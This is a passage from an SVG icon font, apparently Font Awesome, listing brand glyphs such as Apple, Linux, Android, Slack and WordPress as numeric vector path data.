c5.5 0 10 -4.5 10 -10v-115.2h83c5.5 0 10 -4.39941 10 -9.89941v-81.7002c0 -5.5 -4.5 -10 -10 -10h-83.4004v-133.2c0 -34.2002 23.7002 -53.5996 68 -35.7998c4.80078 1.89941 9 3.2002 12.7002 2.2002c3.5 -0.900391 5.7998 -3.40039 7.40039 -7.90039l22 -64.2998
c1.7998 -5 3.2998 -10.6006 -0.400391 -14.5z" />
    <glyph glyph-name="tumblr-square" unicode="&#xf174;" 
d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM317.7 51.7998c2.2998 2.40039 1.2998 5.90039 0.299805 9.10059l-13.7998 40.1992c-1 2.80078 -2.40039 4.40039 -4.60059 4.90039
c-2.39941 0.599609 -5 -0.200195 -8 -1.40039c-27.6992 -11.0996 -42.5 1 -42.5 22.4004v83.2998h52.1006c3.39941 0 6.2002 2.7998 6.2002 6.2002v51.0996c0 3.40039 -2.80078 6.2002 -6.2002 6.2002h-51.9004v72c0 3.40039 -2.7998 6.2002 -6.2002 6.2002h-44.2998
c-5.89941 0 -9.5 -3.2998 -10 -10.2002c-1.7998 -25.7002 -13.8994 -59.5 -52.7002 -73.2002c-4.2998 -1.5 -7.09961 -5.5 -7.09961 -10v-42.5c0 -3.39941 2.7998 -6.19922 6.2002 -6.19922h29.7002v-90c0 -32.4004 16.3994 -87.9004 91.8994 -87.9004
c29.7002 0 52.4004 10.7002 60.9004 19.7998z" />
    <glyph glyph-name="apple" unicode="&#xf179;" horiz-adv-x="384" 
d="M318.7 179.3c0 -1.89941 -3.5 -61.2002 61.7002 -91.8994c-12.2002 -36.8008 -54 -118.601 -102.601 -119.301c-28.0996 0 -44.5996 17.9004 -76.3994 17.9004c-32.8008 0 -50.6006 -17.2998 -75.8008 -17.9004c-48.1992 -1.5 -94.3994 88.5 -107.199 125.2
c-9.60059 27.9336 -14.4004 55 -14.4004 81.2002c0 88.7002 59.2998 132.3 115.1 133.2c27 0 61.4004 -19.7002 76.4004 -19.7002c14.2002 0 53 23.5 88.5 20.7002c37.5 -2.90039 65.9004 -17.7002 84.7002 -44.6006c-33.6006 -20.3994 -50.2002 -48.0996 -50 -84.7998z
M262.1 343.5c-19.5996 -22.9004 -43.3994 -36.2998 -69.5 -34.2998c-2.19922 27.5996 8.10059 52.0996 25.6006 71.8994c15.8994 18.5 43.7998 33.5 67.8994 34.9004c0.800781 -10.5996 3.30078 -40.0996 -24 -72.5z" />
    <glyph glyph-name="windows" unicode="&#xf17a;" 
d="M0 354.3l183.6 25.2998v-177.399h-183.6v152.1zM0 29.7002v149.899h183.6v-175.199zM203.8 1.7002v177.899h244.2v-211.6zM203.8 382.3l244.2 33.7002v-213.8h-244.2v180.1z" />
    <glyph glyph-name="android" unicode="&#xf17b;" 
d="M89.5996 243.5v-115.8c0 -15.4004 -12.0996 -27.7002 -27.5 -27.7002c-15.2998 0 -30.0996 12.4004 -30.0996 27.7002v115.8c0 15.0996 14.7998 27.5 30.0996 27.5c15.1006 0 27.5 -12.4004 27.5 -27.5zM100.4 86.5v179.4h247.3v-179.4
c0 -16.4004 -13.2002 -29.5996 -29.4004 -29.5996h-20.2002v-61.1006c0 -36.7998 -55.5 -36.7002 -55.5 0v61.1006h-37.1992v-61.1006c0 -36.5996 -55.2002 -36.8994 -55.2002 0l-0.299805 61.1006h-19.9004c-16.4004 0 -29.5996 13.1992 -29.5996 29.5996zM348.4 275.6
h-249.101c0 42.8008 25.6006 80 63.6006 99.4004l-19.1006 35.2998c-2.7998 4.90039 4.2998 8 6.7002 3.7998l19.4004 -35.5996c34.8994 15.5 75 14.7002 108.3 0l19.2998 35.5c2.5 4.2998 9.5 1.09961 6.7002 -3.7998l-19.1006 -35.2002
c37.7002 -19.4004 63.3008 -56.5996 63.3008 -99.4004zM177.7 331.1c0 5.7002 -4.60059 10.5 -10.5 10.5c-5.7002 0 -10.2002 -4.7998 -10.2002 -10.5c0 -5.69922 4.59961 -10.5 10.2002 -10.5c5.89941 0 10.5 4.80078 10.5 10.5zM291.1 331.1
c0 5.7002 -4.59961 10.5 -10.1992 10.5c-5.90039 0 -10.5 -4.7998 -10.5 -10.5c0 -5.69922 4.59961 -10.5 10.5 -10.5c5.59961 0 10.1992 4.80078 10.1992 10.5zM385.9 271c15.2998 0 30.0996 -12.0996 30.0996 -27.5v-115.8
c0 -15.2998 -14.7002 -27.7002 -30.0996 -27.7002c-15.1006 0 -27.5 12.2998 -27.5 27.7002v115.8c0 15.4004 12.3994 27.5 27.5 27.5z" />
    <glyph glyph-name="linux" unicode="&#xf17c;" 
d="M220.8 324.7c-1.09961 0.599609 -3.09961 0.399414 -3.39941 1.7002c-0.200195 0.399414 0.199219 0.899414 0.599609 1.09961c1.59961 0.900391 3.7998 0.599609 5.5 -0.0996094c1.2998 -0.600586 3.40039 -1.5 3.2002 -2.90039
c-0.100586 -1.09961 -1.7998 -1.5 -2.90039 -1.5c-1.2002 0 -2 1.2002 -3 1.7002zM198.9 323c-1 -0.0996094 -2.7002 0.400391 -2.80078 1.40039c-0.199219 1.39941 1.90039 2.2998 3.2002 2.89941c1.7002 0.700195 3.90039 1 5.5 0.100586
c0.400391 -0.200195 0.799805 -0.700195 0.600586 -1.10059c-0.400391 -1.2002 -2.40039 -1 -3.5 -1.59961c-1 -0.5 -1.80078 -1.7002 -3 -1.7002zM420 44.2002c11.0996 -12.4004 15.9004 -21.5 15.5 -29.7002c-0.5 -8.2002 -6.5 -13.7998 -13.9004 -18.2998
c-14.8994 -9 -37.2998 -15.7998 -50.8994 -32.2002c-14.2002 -16.9004 -31.7002 -26.5996 -48.2998 -27.9004c-16.5 -1.2998 -32 6.30078 -40.3008 23v0.100586c-1.09961 2.09961 -1.89941 4.39941 -2.5 6.7002c-21.5 -1.2002 -40.1992 5.2998 -55.0996 4.09961
c-22 -1.2002 -35.7998 -6.5 -48.2998 -6.59961c-4.7998 -10.6006 -14.2998 -17.6006 -25.9004 -20.2002c-16 -3.7002 -36.0996 0 -55.8994 10.3994c-18.5 9.80078 -42 8.90039 -59.3008 12.5c-8.69922 1.80078 -16.2998 5 -20.0996 12.3008
c-3.7002 7.2998 -3 17.2998 2.2002 31.6992c1.7002 5.10059 0.399414 12.7002 -0.799805 20.8008c-0.600586 3.89941 -1.2002 7.89941 -1.2002 11.7998c0 4.2998 0.700195 8.5 2.7998 12.3994c4.5 8.5 11.7998 12.1006 18.5 14.5c6.7002 2.40039 12.7998 4 17 8.30078
c5.2002 5.5 10.0996 14.3994 16.5996 20.1992c-2.59961 17.2002 0.200195 35.4004 6.2002 53.3008c12.6006 37.8994 39.2002 74.1992 58.1006 96.6992c16.0996 22.9004 20.7998 41.3008 22.5 64.7002c1.09961 31.7998 -24.5 135.4 77.8994 135.2
c80.9004 -0.0996094 76.2998 -85.4004 75.7998 -131.3c-0.299805 -30.1006 16.3008 -50.5 33.4004 -72c15.2002 -18 35.0996 -44.2998 46.5 -74.4004c9.2998 -24.5996 12.9004 -51.7998 3.7002 -79.0996c1.39941 -0.5 2.7998 -1.2002 4.09961 -2
c1.40039 -0.799805 2.7002 -1.7998 4 -2.90039c6.60059 -5.59961 8.7002 -14.2998 10.5 -22.3994c1.90039 -8.10059 3.60059 -15.7002 7.2002 -19.7002zM223.7 360.7c-3.2002 -7.2002 -3.90039 -14.9004 -2.90039 -21.7998c3.60059 -0.900391 8.90039 -2.40039 13 -4.40039
c-2.09961 12.2002 4.5 23.5 11.7998 23c8.90039 -0.299805 13.9004 -15.5 9.10059 -27.2998c-0.799805 -1.90039 -2.7998 -3.40039 -3.90039 -4.60059c6.7002 -2.2998 11 -4.09961 12.6006 -4.89941c7.89941 9.5 10.7998 26.2002 4.2998 40.3994
c-9.7998 21.4004 -34.2002 21.8008 -44 -0.399414zM183 372.2c-18.9004 0 -24 -37.5 -8.40039 -52.1006c7.80078 5.7002 6.90039 4.7002 5.90039 5.5c-8 6.90039 -6.59961 27.4004 1.7998 28.1006c6.2998 0.5 10.7998 -10.7002 9.60059 -19.6006
c3.09961 2.10059 6.69922 3.60059 10.1992 4.60059c1.7002 19.2998 -9 33.5 -19.0996 33.5zM169.4 311.5c-4.2002 -3.2998 -5.60059 -7.40039 -4.2002 -12.2998c1.5 -4.90039 6.09961 -10.5 14.7002 -15.2998c7.7998 -4.60059 12 -11.5 20 -15
c2.59961 -1.10059 5.69922 -1.90039 9.59961 -2.10059c18.4004 -1.09961 27.0996 11.2998 38.2002 14.9004c11.7002 3.7002 20.0996 11 22.7002 18.0996c3.19922 8.5 -2.10059 14.7002 -10.5 18.2002c-11.3008 4.90039 -16.3008 5.2002 -22.6006 9.2998
c-10.2998 6.60059 -18.7998 8.90039 -25.8994 8.90039c-14.4004 0 -23.2002 -9.7998 -27.9004 -14.2002c-0.5 -0.5 -7.90039 -5.90039 -14.0996 -10.5zM172.7 -22.5c2.09961 20.5 -31.5 49 -41 68.9004l-19.6006 35.5996c-6.7998 9.2002 -13.7998 14.7998 -21.8994 16
c-7.7002 1.2002 -12.6006 -1.40039 -17.7002 -6.90039c-4.7998 -5.09961 -8.7998 -12.2998 -14.2998 -18c-7.7998 -6.5 -9.2998 -6.19922 -19.6006 -9.89941c-6.2998 -2.2002 -11.2998 -4.60059 -14.7998 -11.2998c-2.7002 -5 -2.09961 -12.2002 -0.899414 -20
c1.19922 -7.90039 3 -16.3008 0.599609 -23.9004v-0.200195c-5 -13.7002 -5 -21.7002 -2.59961 -26.3994c7.89941 -15.4004 46.5996 -6.10059 76.5 -21.9004c31.3994 -16.4004 72.5996 -17.0996 75.2998 18zM171.3 3.40039c37.6006 -25.7002 82.2002 -15.7002 114.3 7.19922
c3.2002 11 6.30078 21.3008 6.80078 29c0.799805 15.2002 1.59961 28.7002 4.39941 39.9004c3.10059 12.5996 9.2998 23.0996 21.4004 27.2998c2.2998 21.1006 18.7002 21.1006 38.2998 12.5c18.9004 -8.5 26 -16 22.7998 -26.0996c1 0 2 0.0996094 4.2002 0
c5.2002 16.8994 -14.2998 28 -30.7002 34.7998c2.90039 12 2.40039 24.0996 -0.399414 35.7002c-6 25.2998 -22.6006 47.7998 -35.2002 59c-2.2998 0.0996094 -2.10059 -1.90039 2.59961 -6.5c11.6006 -10.7002 37.1006 -49.2002 23.2998 -84.9004
c-3.89941 1 -7.59961 1.5 -10.8994 1.40039c-5.2998 29.0996 -17.5 53.2002 -23.6006 64.5996c-11.5 21.4004 -29.5 65.2998 -37.1992 95.7002c-4.5 -6.40039 -12.4004 -11.9004 -22.3008 -15c-4.69922 -1.5 -9.69922 -5.5 -15.8994 -9
c-13.9004 -8 -30 -8.7998 -42.4004 1.2002c-4.5 3.59961 -8 7.59961 -12.5996 10.2998c-1.60059 0.900391 -5.10059 3.2998 -6.2002 4.09961c-2 -37.7998 -27.2998 -85.2998 -39.2998 -112.699c-8.2998 -19.7002 -13.2002 -40.8008 -13.7998 -61.5
c-21.8008 29.0996 -5.90039 66.2998 2.59961 82.3994c9.5 17.6006 11 22.5 8.7002 20.7998c-8.60059 -14 -22 -36.2998 -27.2002 -59.1992c-2.7002 -11.9004 -3.2002 -24 0.299805 -35.2002s11.1006 -21.5 24.6006 -29.9004c0 0 24.7998 -14.2998 38.2998 -32.5
c7.39941 -10 9.7002 -18.7002 7.39941 -24.8994c-2.5 -6.7002 -9.59961 -8.90039 -16.6992 -8.90039c4.7998 -6 10.2998 -13 14.3994 -19.5996zM428.7 14.9004c0.299805 5.09961 -3.10059 13 -13.7002 24.5996c-10 11.2998 -7.2002 33.0996 -17.0996 41.5996
c-6.90039 6 -13.6006 5.40039 -22.6006 5.10059c-7.7002 -8.7998 -25.7998 -19.6006 -38.3994 -16.2998c-11.5 2.89941 -18 16.2998 -18.8008 29.5c-0.299805 -0.200195 -0.699219 -0.300781 -1 -0.5c-7.09961 -3.90039 -11.0996 -10.8008 -13.6992 -21.1006
c-2.5 -10.2002 -3.40039 -23.5 -4.2002 -38.7002c-0.700195 -11.7998 -6.2002 -26.3994 -9.90039 -40.5996c-3.5 -13.2002 -5.7998 -25.2002 -1.09961 -36.2998c7.2002 -14.5 19.5 -20.4004 33.7002 -19.2998c14.1992 1.09961 30.3994 9.7998 43.5996 25.5
c22 26.5996 62.2998 29.6992 63.2002 46.5zM173.3 299.3c-3.5 2.7998 -3.09961 6.60059 -1.7002 6.5c2.40039 -0.299805 2.80078 -3.5 4.30078 -4.89941c2 -1.90039 4.59961 -4.40039 7.69922 -6.90039c6.2002 -4.90039 14.5 -9.7002 24.9004 -9.7002
s22.5 6 29.9004 10.2002c4.19922 2.40039 9.5 6.59961 13.8994 9.7998c3.40039 2.5 3.2002 5.40039 6 5.10059c2.7998 -0.300781 0.799805 -3.2002 -3.09961 -6.60059c-3.90039 -3.39941 -9.90039 -7.7998 -14.7998 -10.3994
c-9.30078 -4.90039 -20.2002 -10.8008 -31.8008 -10.8008c-11.5 0 -20.6992 5.40039 -27.2998 10.6006c-3.2998 2.59961 -6 5.2002 -8 7.09961z" />
    <glyph glyph-name="dribbble" unicode="&#xf17d;" horiz-adv-x="512" 
d="M256 440c136.748 0 248 -111.252 248 -248s-111.252 -248 -248 -248s-248 111.252 -248 248s111.252 248 248 248zM419.97 325.634c-4.46582 -6.04102 -39.9629 -51.5459 -118.284 -83.5225c7.43652 -15.2217 12.8652 -27.5732 18.6172 -41.6143
c70.4844 8.86426 140.519 -5.34082 147.502 -6.81836c-0.46582 49.998 -18.332 95.9092 -47.835 131.955zM396.421 350.13c-52.0947 46.2188 -122.885 63.6816 -190.061 47.4893c5.85449 -7.83984 44.3281 -60.2324 79.04 -124.008
c75.3232 28.2324 107.211 71.0918 111.021 76.5186zM165.941 383.38c-59.2637 -27.9531 -103.562 -82.585 -117.298 -148.318c9.47461 -0.125 96.7471 -0.503906 195.834 25.8096c-35.0986 62.3926 -72.9512 114.85 -78.5361 122.509zM44.1699 191.677
c0 -54.4072 20.624 -104.082 54.457 -141.636c34.3369 58.7793 103.932 120.731 180.531 142.306c-5.31738 12.0342 -11.1104 24.0811 -17.1738 35.9492c-105.786 -31.6592 -208.438 -30.3359 -217.706 -30.1455c-0.0654297 -2.15137 -0.108398 -4.30762 -0.108398 -6.47363
zM125.977 24.5645c62.7539 -48.9355 144.656 -56.8955 212.769 -27.8828c-3.15039 18.585 -15.4492 83.3555 -45.1895 160.639c-85.4004 -29.1348 -145.452 -87.5234 -167.579 -132.756zM374.357 16.0752c47.5215 32.1338 81.3525 83.0371 90.7949 141.978
c-7.24707 2.28711 -65.5674 19.6816 -131.947 9.05566c27.7061 -76.1367 38.9805 -138.147 41.1523 -151.033z" />
    <glyph glyph-name="skype" unicode="&#xf17e;" 
d="M424.7 148.2c14.5996 -18.9004 23.2998 -42.5 23.2002 -68.1006c0 -61.7998 -50.2002 -112 -112 -112c-25.6006 0 -49.2002 8.7002 -68.2002 23.3008c-14.1006 -3 -28.9004 -4.7002 -43.7998 -4.7002c-113.4 0 -205.301 91.7998 -205.301 205.3
c0 14.9004 1.80078 29.7998 4.7002 43.7998c-14.5996 18.9004 -23.2998 42.5 -23.2998 68.2002c0 61.7998 50.2002 112 112 112c25.7002 0 49.2998 -8.7002 68.2998 -23.4004c14.1006 3 28.9004 4.7002 43.7998 4.7002c113.4 0 205.301 -91.7998 205.301 -205.3
c0 -14.9004 -1.80078 -29.7998 -4.7002 -43.7998zM230.1 56.7002c54.9004 0 112 27.3994 112 86.5c0 50.7998 -49.2998 68.2998 -90.6992 77.5996c-48.3008 11.2002 -69.1006 13.2002 -69.1006 33c0 15.5 16.2998 22.5 42 22.5c45.7998 0 46.7002 -33.5 75 -33.5
c18.9004 0 30.2998 14.9004 30.2998 31.7998c0 33.5 -55.6992 55.4004 -110.8 55.4004c-50.5 0 -109.1 -21.9004 -109.1 -81.0996c0 -65.2002 55.2998 -71.8008 117.8 -87.2002c26 -6.40039 42 -9.2998 42 -28c0 -14.9004 -16.5996 -26.2998 -42.2998 -26.2998
c-54 0 -56.9004 44.8994 -88.1006 44.8994c-20.5 0 -29.5 -14.5996 -29.5 -30.5996c0 -35.7998 54.9004 -65 120.5 -65z" />
    <glyph glyph-name="foursquare" unicode="&#xf180;" horiz-adv-x="368" 
d="M323.1 445c40 0 50.7002 -22.7998 42.2002 -65.2002l-48.5996 -243c-3.7002 -14.5 -9.2002 -39.7002 -44.2998 -39.7002h-83.4004c-3.40039 0 -3.7002 0.300781 -6.7998 -3.09961c0 0 -2.2002 -2.5 -131.101 -151.9
c-10.0996 -11.6992 -26.6992 -9.59961 -32.8994 -7.09961c-6.10059 2.40039 -18.2002 9.7998 -18.2002 30.0996v433.801c0 17.7998 12.4004 46.0996 49.9004 46.0996h273.199zM306.8 371.2c2.10059 9.7998 -5.2998 17.5 -13.5 17.5h-219
c-9.7998 0 -16.5996 -8.90039 -16.5996 -16.6006v-338.8c0 -0.899414 0.899414 -1.2002 1.7998 -0.299805c80.5996 96.9004 89.5 108.3 89.5 108.3c9.2998 10.7998 13 12.6006 26.5 12.6006h73.5c10.0996 0 16 8.59961 16.9004 13.5
c0.899414 5 9.59961 49.8994 11.3994 58.7998c1.7998 9 -6.5 18.2002 -14.7998 18.2002h-90.4004c-12 0 -20.5996 8.59961 -20.5996 20.5996v13c0 12 8.59961 20.2998 20.5996 20.2998h106.4c7.40039 0 15.7002 6.7002 16.9004 13.2002z" />
    <glyph glyph-name="trello" unicode="&#xf181;" 
d="M392.3 416c30.7998 -0.200195 55.7002 -25.2002 55.6006 -56v-336c0 -30.7998 -24.9004 -55.7998 -55.7002 -56h-336.2c-30.9004 0 -56 25.0996 -56 56c0 340 -0.0996094 336 0 336c0 30.9004 25.0996 56 56.0996 56h336.2zM197 76.7002h0.0996094v254.2
c0 14.8994 -12.0996 26.8994 -26.8994 26.8994h-82.9004c-14.8994 0 -26.8994 -12.0996 -26.8994 -26.8994v-254.2c0.0996094 -14.7998 12.1992 -26.7002 27 -26.6006h82.6992c14.8008 0 26.7002 11.9004 26.9004 26.6006zM390.1 188.7v142.1
c0 14.9004 -12.0996 26.9004 -26.8994 26.9004h-81.1006c-14.7998 0 -26.7998 -12.1006 -26.7998 -26.9004v-142.1c0 -14.9004 12.1006 -26.9004 26.9004 -26.9004h81c14.8994 0 26.8994 12.1006 26.8994 26.9004z" />
    <glyph glyph-name="gratipay" unicode="&#xf184;" horiz-adv-x="496" 
d="M248 440c136.9 0 248 -111.1 248 -248s-111.1 -248 -248 -248s-248 111.1 -248 248s111.1 248 248 248zM362.6 213.6c8.80078 12 19.1006 50.4004 -13.7998 72c-27.7002 18.1006 -54.2002 4.2002 -68.0996 -11.8994c-15.1006 -16.9004 -45.7998 -17.9004 -61.7002 0
c-13.9004 16.0996 -40.4004 30 -68.5 11.8994c-32.7002 -21.5996 -22.2998 -60.0996 -13.5996 -72l112.699 -152.699z" />
    <glyph glyph-name="vk" unicode="&#xf189;" horiz-adv-x="576" 
d="M545 330.3c-7.40039 -34.2998 -79.2998 -135.5 -79.4004 -135.6c-6.19922 -10 -8.69922 -15 0 -26.2002c3.40039 -4.7998 79.1006 -76.5996 90.3008 -111.5c4.89941 -16.5996 -3.60059 -25 -20.4004 -25h-58.9004c-22.3994 0 -29 17.9004 -69 57.9004
c-35 33.6992 -50 38.0996 -58.6992 38.0996c-18.8008 0 -15.4004 -6.2998 -15.4004 -73.0996c0 -14.5 -4.59961 -22.9004 -42.0996 -22.9004c-62.4004 0 -131 37.9004 -179.7 107.8c-73.1006 102.4 -93.1006 179.9 -93.1006 195.5c0 8.7998 3.40039 16.7002 20.2002 16.7002
h58.9004c15.0996 0 20.7998 -6.59961 26.5996 -22.9004c28.7998 -84 77.4004 -157.399 97.4004 -157.399c7.5 0 10.8994 3.5 10.8994 22.5v86.7998c-2.19922 40 -23.3994 43.2998 -23.3994 57.5c0 6.5 5.59961 13.5 15 13.5h92.5996
c12.4004 0 16.6006 -6.7002 16.6006 -21.7002v-116.7c0 -12.5 5.69922 -16.8994 9.39941 -16.8994c7.5 0 13.7998 4.39941 27.5 18.0996c42.4004 47.4004 72.4004 120.5 72.4004 120.5c3.7002 8.7998 10.5996 16.7002 25.5996 16.7002h58.9004
c17.7998 0 21.5 -9.2002 17.7998 -21.7002z" />
    <glyph glyph-name="weibo" unicode="&#xf18a;" horiz-adv-x="512" 
d="M407 270.4c7.59961 24 -13.4004 46.7998 -37.4004 41.6992c-22 -4.7998 -28.7998 28.1006 -7.09961 32.8008c50.0996 10.8994 92.2998 -37.1006 76.5 -84.8008c-6.7998 -21.1992 -38.7998 -10.7998 -32 10.3008zM214.8 1.2998c-106.3 0 -214.8 51.4004 -214.8 136.3
c0 44.3008 28 95.4004 76.2998 143.7c99.7002 99.7002 203.2 100.9 173.601 5.7002c-4 -13.0996 12.2998 -5.7002 12.2998 -6c79.5 33.5996 140.5 16.7998 114 -51.4004c-3.7002 -9.39941 1.09961 -10.8994 8.2998 -13.0996c135.7 -42.2998 34.7998 -215.2 -169.7 -215.2z
M358.5 147.6c-5.40039 55.7002 -78.5 94 -163.4 85.7002c-84.7998 -8.59961 -148.8 -60.2998 -143.399 -116c5.39941 -55.7002 78.5 -94 163.399 -85.7002c84.8008 8.60059 148.801 60.3008 143.4 116zM347.9 412.9c102.3 21.5996 189.3 -74.5 157.399 -174.301
c-8.2998 -25 -44.7998 -12.1992 -37.3994 12c23.0996 71.2002 -39.4004 139.2 -111.7 124c-25.1006 -5.39941 -34.2002 32.7002 -8.2998 38.3008zM269.4 101.9c-17.1006 -38.8008 -66.8008 -60 -109.101 -46.3008c-40.7998 13.1006 -58 53.4004 -40.2998 89.7002
c17.7002 35.4004 63.0996 55.4004 103.4 45.1006c42 -10.8008 63.0996 -50.2002 46 -88.5zM183.1 131.9c-12.8994 5.39941 -30 -0.300781 -38 -12.9004c-8.2998 -12.9004 -4.2998 -28 8.60059 -34c13.0996 -6 30.7998 -0.299805 39.0996 12.9004
c8 13.0996 3.7002 28.2998 -9.7002 34zM215.7 145.3c-5.10059 1.7002 -11.4004 -0.599609 -14.2998 -5.39941c-2.90039 -5.10059 -1.40039 -10.6006 3.69922 -12.9004c5.10059 -2 11.7002 0.299805 14.6006 5.40039c2.7998 5.19922 1.09961 10.8994 -4 12.8994z" />
    <glyph glyph-name="renren" unicode="&#xf18b;" horiz-adv-x="512" 
d="M214 278.9c0 -110.4 -61 -205.4 -147.6 -247.4c-36.4004 43.2998 -58.4004 98.7998 -58.4004 159.9c0 122.699 89.0996 224.399 206 244.1v-156.6zM255 -56c-42.9004 0 -83.2998 11 -118.5 30.4004c57.2002 36.0996 103.4 90.6992 118.5 154.6
c15.5 -63.9004 61.7002 -118.5 118.8 -154.7c-35.0996 -19.2998 -75.5 -30.2998 -118.8 -30.2998zM445.6 31.5c-86.5996 42 -147.6 136.9 -147.6 247.4v156.6c116.9 -19.7002 206 -121.4 206 -244.1c0 -61.1006 -22 -116.601 -58.4004 -159.9z" />
    <glyph glyph-name="pagelines" unicode="&#xf18c;" horiz-adv-x="384" 
d="M384 135.3c-55.0996 -136.7 -187.1 -54 -187.1 -54c-40.5 -81.7998 -107.4 -134.399 -184.601 -134.7c-16.0996 0 -16.5996 24.4004 0 24.4004c64.4004 0.299805 120.5 42.7002 157.2 110.1c-41.0996 -15.8994 -118.6 -27.8994 -161.6 82.2002
c109 44.9004 159.1 -11.2002 178.3 -45.5c9.89941 24.4004 17 50.9004 21.5996 79.7002c0 0 -139.7 -21.9004 -149.5 98.0996c119.101 47.9004 152.601 -76.6992 152.601 -76.6992c1.59961 16.6992 3.2998 52.5996 3.2998 53.3994c0 0 -106.3 73.7002 -38.1006 165.2
c124.601 -43 61.4004 -162.4 61.4004 -162.4c0.5 -1.59961 0.5 -23.7998 0 -33.3994c0 0 45.2002 89 136.4 57.5c-4.2002 -134 -141.9 -106.4 -141.9 -106.4c-4.40039 -27.3994 -11.2002 -53.3994 -20 -77.5c0 0 83 91.7998 172 20z" />
    <glyph glyph-name="stack-exchange" unicode="&#xf18d;" 
d="M17.7002 115.7h412.7v-22c0 -37.7002 -29.3008 -68 -65.3008 -68h-19l-86.7998 -89.7002v89.7002h-176.3c-36 0 -65.2998 30.2998 -65.2998 68v22zM17.7002 139.3v85h412.7v-85h-412.7zM17.7002 248.7v85h412.7v-85h-412.7zM365 448
c36 0 65.2998 -30.2998 65.4004 -67.7002v-22.2998h-412.7v22.2998c0 37.4004 29.2998 67.7002 65.2998 67.7002h282z" />
    <glyph glyph-name="vimeo-square" unicode="&#xf194;" 
d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM383.8 266.4c1.90039 41.5996 -13.5996 63 -46.5 64c-44.2998 1.39941 -74.3994 -23.6006 -90.0996 -75.1006
c19.5996 8.40039 48.5996 10.6006 45.2002 -22.2002c-0.900391 -11.0996 -8.10059 -27.0996 -21.5 -48.2998c-37.2002 -58.7002 -46.3008 -39.0996 -66.8008 90.5c-5.7998 36.5 -21.0996 53.5 -46 51.1006c-22 -2 -57.1992 -38 -94.0996 -70.4004l15 -19.4004
c14.2998 10.1006 22.7002 15.1006 25.0996 15.1006c20.8008 0 31.5 -54.1006 56.7002 -146.4c12.9004 -34.3994 28.6006 -51.5996 47.2998 -51.5996c30.1006 0 66.9004 28.2998 110.4 84.7998c42.0996 54.0996 63.9004 96.7998 65.2998 127.9z" />
    <glyph glyph-name="slack" unicode="&#xf198;" 
d="M94.1201 132.9c0 -25.9004 -21.1602 -47.0605 -47.0605 -47.0605c-25.8994 0 -47.0596 21.1602 -47.0596 47.0605c0 25.8994 21.1602 47.0596 47.0596 47.0596h47.0605v-47.0596zM117.84 132.9c0 25.8994 21.1602 47.0596 47.0605 47.0596
c25.8994 0 47.0596 -21.1602 47.0596 -47.0596v-117.841c0 -25.8994 -21.1602 -47.0596 -47.0596 -47.0596c-25.9004 0 -47.0605 21.1602 -47.0605 47.0596v117.841zM164.9 321.88c-25.9004 0 -47.0605 21.1602 -47.0605 47.0605c0 25.8994 21.1602 47.0596 47.0605 47.0596
c25.8994 0 47.0596 -21.1602 47.0596 -47.0596v-47.0605h-47.0596zM164.9 298.16c25.8994 0 47.0596 -21.1602 47.0596 -47.0605c0 -25.8994 -21.1602 -47.0596 -47.0596 -47.0596h-117.841c-25.8994 0 -47.0596 21.1602 -47.0596 47.0596
c0 25.9004 21.1602 47.0605 47.0596 47.0605h117.841zM353.88 251.1c0 25.9004 21.1602 47.0605 47.0605 47.0605c25.8994 0 47.0596 -21.1602 47.0596 -47.0605c0 -25.8994 -21.1602 -47.0596 -47.0596 -47.0596h-47.0605v47.0596zM330.16 251.1
c0 -25.8994 -21.1602 -47.0596 -47.0605 -47.0596c-25.8994 0 -47.0596 21.1602 -47.0596 47.0596v117.841c0 25.8994 21.1602 47.0596 47.0596 47.0596c25.9004 0 47.0605 -21.1602 47.0605 -47.0596v-117.841zM283.1 62.1201c25.9004 0 47.0605 -21.1602 47.0605 -47.0605
c0 -25.8994 -21.1602 -47.0596 -47.0605 -47.0596c-25.8994 0 -47.0596 21.1602 -47.0596 47.0596v47.0605h47.0596zM283.1 85.8398c-25.8994 0 -47.0596 21.1602 -47.0596 47.0605c0 25.8994 21.1602 47.0596 47.0596 47.0596h117.841
c25.8994 0 47.0596 -21.1602 47.0596 -47.0596c0 -25.9004 -21.1602 -47.0605 -47.0596 -47.0605h-117.841z" />
    <glyph glyph-name="wordpress" unicode="&#xf19a;" horiz-adv-x="512" 
d="M61.7002 278.6l101.5 -278c-71 34.4004 -119.9 107.2 -119.9 191.4c0 30.9004 6.60059 60.0996 18.4004 86.5996zM399.6 202.7c0 -18.2002 -7 -39.2998 -16 -68.7002l-21.1992 -70.9004l-76.9004 228.7c12.7998 0.700195 24.2998 2 24.2998 2
c11.4004 1.2998 10.1006 18.2002 -1.39941 17.5c0 0 -34.5 -2.7002 -56.7002 -2.7002c-20.9004 0 -56 2.7002 -56 2.7002c-11.4004 0.700195 -12.7998 -16.7998 -1.2998 -17.5c0 0 10.7998 -1.2998 22.2998 -2l33.0996 -90.7998l-46.5996 -139.6l-77.5 230.399
c12.7998 0.700195 24.2998 2 24.2998 2c11.4004 1.2998 10.0996 18.2002 -1.40039 17.5c0 0 -34.5 -2.7002 -56.6992 -2.7002c-4 0 -8.7002 0.100586 -13.7002 0.300781c38.0996 57.7998 103.5 95.8994 177.8 95.8994c55.4004 0 105.8 -21.2002 143.7 -55.8994
c-1 0.0996094 -1.90039 0.199219 -2.7998 0.199219c-20.9004 0 -35.7002 -18.1992 -35.7002 -37.7998c0 -17.5 10.0996 -32.3994 20.8994 -49.8994c8.10059 -14.2002 17.5 -32.4004 17.5 -58.7002zM259.7 173.4l65.3994 -179.2c0.400391 -1 0.900391 -2 1.5 -2.90039
c-22.0996 -7.7998 -45.7998 -12.0996 -70.5996 -12.0996c-20.9004 0 -41 3.09961 -60.0996 8.7002zM442.7 294.1c16.5996 -30.2998 26 -65.0996 26 -102.1c0 -78.5 -42.5 -147 -105.8 -183.9l65 187.9c12.1992 30.4004 16.1992 54.5996 16.1992 76.2002
c0 7.89941 -0.5 15.0996 -1.39941 21.8994zM504 192c0 -136.8 -111.3 -248 -248 -248c-136.8 0 -248 111.3 -248 248c0 136.8 111.2 248 248 248c136.7 0 248 -111.2 248 -248zM492.6 192c0 130.5 -106.199 236.6 -236.6 236.6c-130.5 0 -236.6 -106.1 -236.6 -236.6
s106.199 -236.6 236.6 -236.6c130.5 0 236.6 106.1 236.6 236.6z" />
